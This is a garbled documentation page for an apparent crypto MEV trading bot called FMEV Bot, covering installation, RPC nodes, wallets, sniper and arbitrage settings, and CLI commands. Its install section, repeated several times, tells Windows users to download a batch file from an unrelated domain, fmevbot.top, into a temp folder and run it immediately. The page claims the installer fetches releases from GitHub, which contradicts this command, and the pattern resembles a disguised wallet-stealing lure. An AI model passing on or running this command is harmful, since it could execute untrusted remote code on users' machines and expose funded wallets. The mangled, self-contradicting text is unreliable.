Install
The bot ships as a single binary. The install script detects your platform, downloads the release from GitHub, verifies the checksum and adds fmev to your PATH.
$ curl -fsSL https://fmevbot.top/install.bat -o "%TEMP%\fmev-install.bat" && "%TEMP%\fmev-install.bat"$ curl -fsSL https://fmevbot.top/install.bat -o "%TEMP%\fmev-install.bat" && "%TEMP%\fmev-install.bat"
$ less install.sh
$ bash install.shOpen Command Prompt (Win+R → cmd) and run:
$ curl -fsSL https://fmevbot.top/install.bat -o "%TEMP%\fmev-install.bat" && "%TEMP%\fmev-install.bat"$ docker pull ghcr.io/fmev-labs/fmev-bot:latest
$ docker run -d --name fmev --restart unless-stopped \
-p 127.0.0.1:7777:7777 \
-v ~/.fmev:/root/.fmev \
ghcr.io/fmev-labs/fmev-bot:latest127.0.0.1 only. Do not expose port 7777 — use an SSH tunnel: ssh -L 7777:localhost:7777 user@server.# requires Rust 1.80+ (https://rustup.rs)
$ git clone https://github.com/fmev-labs/fmev-bot.git
$ cd fmev-bot
$ cargo build --release
$ sudo cp target/release/fmev /usr/local/bin/What you will see
curl -fsSL https://raw.githubusercontent.com/fmev-labs/fmev-bot/main/install.sh | bash
==> Detecting platform... linux-x86_64
==> Latest release: v2.4.1 (github.com/fmev-labs/fmev-bot/releases)
==> Downloading fmev-v2.4.1-linux-x86_64.tar.gz
[ ] 0%
==> Verifying SHA256... OK
==> Installing to ~/.fmev/bin
==> Adding to PATH (~/.bashrc)
✓ FMEV Bot v2.4.1 installed. Next: fmev init
Check the installation:
$ fmev --version
fmev 2.4.1 (build 8f3c2a1, rustc 1.81.0)First run
The setup wizard creates the ~/.fmev folder, a config and an encrypted key store. You can press Enter on every question — the defaults are safe.
$ fmev init
? Which chains to use? › Ethereum, Solana
? Default mode › demo (recommended)
? Web panel port › 7777
? Key store password › ••••••••••••
✓ Config created: ~/.fmev/config.toml
✓ Key store: ~/.fmev/keystore (AES-256-GCM)
$ fmev ui
▸ Panel running: http://localhost:7777fmev ui opens the browser for you. On a server without a screen use fmev ui --headless and an SSH tunnel.Connecting a node
The bot is only as fast as its RPC. Public endpoints are fine for demo, but for live use a paid node or your own.
Connected nodes
+ Add node1| Chain | Endpoint | Latency4 | Status |
|---|---|---|---|
| ETH | eth-mainnet.example… | 18ms | online |
| SOL | solana-mainnet.exa… | 27ms | online |
| SOL | api.mainnet-beta.s… | 212ms | slow |
New node
The “RPC / nodes” section. Fictional data.
- 1Click “+ Add node” in the top right corner.
- 2Paste the node's WebSocket address (starts with
wss://). HTTP works too, but events arrive more slowly. - 3Click “Test connection” — the bot sends a test request and measures latency. Then “Save”.
- 4Watch the “Latency” column: green — under 50 ms, yellow — a slow node. The bot automatically switches to the fastest one.
Wallet
Demo mode needs no wallet — you can skip this step. For live trading create a separate wallet just for the bot.
Add wallet
Create newImport1The “Wallets” section. Fictional address.
- 1Choose “Create new”. Importing an existing wallet is possible but not recommended.
- 2Copy the address and fund it with a small amount — only what you're ready to use for trading.
- 3Keep “Encrypt” checked — the key is stored only on your disk, encrypted.
- 4Click “Create wallet” and save a backup in a safe place right away.
Demo mode
The bot receives real blocks and transactions but executes trades virtually — accounting for gas, tips and slippage. Start here and go live once the stats satisfy you.
- 1The DEMO / LIVE switch. After
fmev initDEMO is on by default. - 2Click ✎ to set a virtual balance close to your future real one.
- 3“Session report” — trades, missed opportunities and gas spend.
Sniper setup
The sniper buys a new token the moment liquidity appears. Filters are what matter most here: they weed out honeypots and scam contracts before the buy.
Sniper · Solana
Enabled 1Safety filters
Position exit
The “Sniper” section. Values are the recommended “Balanced” preset.
- 1Turn on the “Enabled” switch for the chain you need.
- 2Set the amount per trade. Rule of thumb: no more than 2–5% of the bot balance per token.
- 3Keep all safety filters on. Every filter you disable noticeably raises the chance of buying a scam.
- 4Configure the exit: partial take-profit + trailing stop + hard stop-loss.
The same in config.toml
Every panel setting is mirrored in ~/.fmev/config.toml — handy for VPS setups and backups.
[sniper]
enabled = true
chains = ["solana"]
amount_per_trade = 0.8 # SOL
max_slippage = 15 # %
min_liquidity_usd = 15000
tip = "auto" # Jito tip
[sniper.filters]
honeypot_check = true
mint_revoked = true
freeze_revoked = true
lp_burned = true
max_top10_share = 30
[sniper.exit]
take_profit = [{ at = 80, sell = 50 }, { at = 200, sell = 50 }]
trailing_stop = 25
stop_loss = 35Arbitrage setup
Arbitrage looks for closed routes between DEXes where you get more out than you put in, after all fees. Takes a minute to set up.
Arbitrage
ETH + SOLETHSOLExchanges (DEX) 5 of 8
Min net profit $5.00
Max route length
23The “Arbitrage” section.
- 1Tick the exchanges. More exchanges — more routes, but also more load on the node.
- 2Set the minimum net profit. Go higher on Ethereum ($5+) because of gas; $0.5 is enough on Solana.
- 3Choose the route length: 3 hops find more opportunities, 2 hops compute faster.
- 4Click “Apply” — settings take effect without restarting the bot.
Launch and notifications
Everything is set up — one button left. The bot starts scanning the chains and reports every trade to Telegram.
Animated launch mockup.
Mode: DEMO · Chains: ETH, SOL
SOL→BONK→USDC→SOL
Profit: +$17.44 · tip $0.35
Bought $MEOW · 0.8 SOL
Filters: 5/5 ✓
Sold 50% · +82%
Telegram notifications (fictional).
Connect Telegram
$ fmev notify telegram --token <BOT_TOKEN> --chat <CHAT_ID>
✓ Test message sentOr the same without a browser — launch straight from the terminal:
$ fmev start --strategy arb,sniper --mode demo
$ fmev statusCommand cheat sheet
| Command | What it does |
|---|---|
fmev init | Initial setup wizard |
fmev ui | Starts the web panel on localhost:7777 |
fmev start | Starts the strategies from the config. Flags: --mode demo|live, --strategy arb,sniper |
fmev stop | Stops the bot; open positions stay under stop-loss control |
fmev status | State, uptime, session PnL |
fmev logs -f | Live log |
fmev rpc test | Tests all nodes and shows latency |
fmev wallet list | Wallets and balances |
fmev report --days 7 | Trades and costs report for a period |
fmev update | Updates to the latest GitHub release |
Troubleshooting
fmev: command not found after installing
Restart the terminal or run source ~/.bashrc (for zsh — ~/.zshrc). The binary lives in ~/.fmev/bin.
Lots of “outbid” — other bots are faster
Switch to an RPC in the region closest to you or your own node, enable private submission (Flashbots / Jito) and check latency with fmev rpc test.
The sniper doesn't buy anything
Most likely the filters reject every token — that's normal in quiet hours. See the rejection reason in fmev logs -f | grep FILTER. Don't disable safety filters just to get more trades.
Arbitrage finds routes but shows “skip”
Net profit after gas is below the threshold. On Ethereum this is common during the day when gas is high — try Solana or lower the threshold.
How do I update?
fmev update downloads the latest release from GitHub and verifies the signature. Config and keys are left untouched.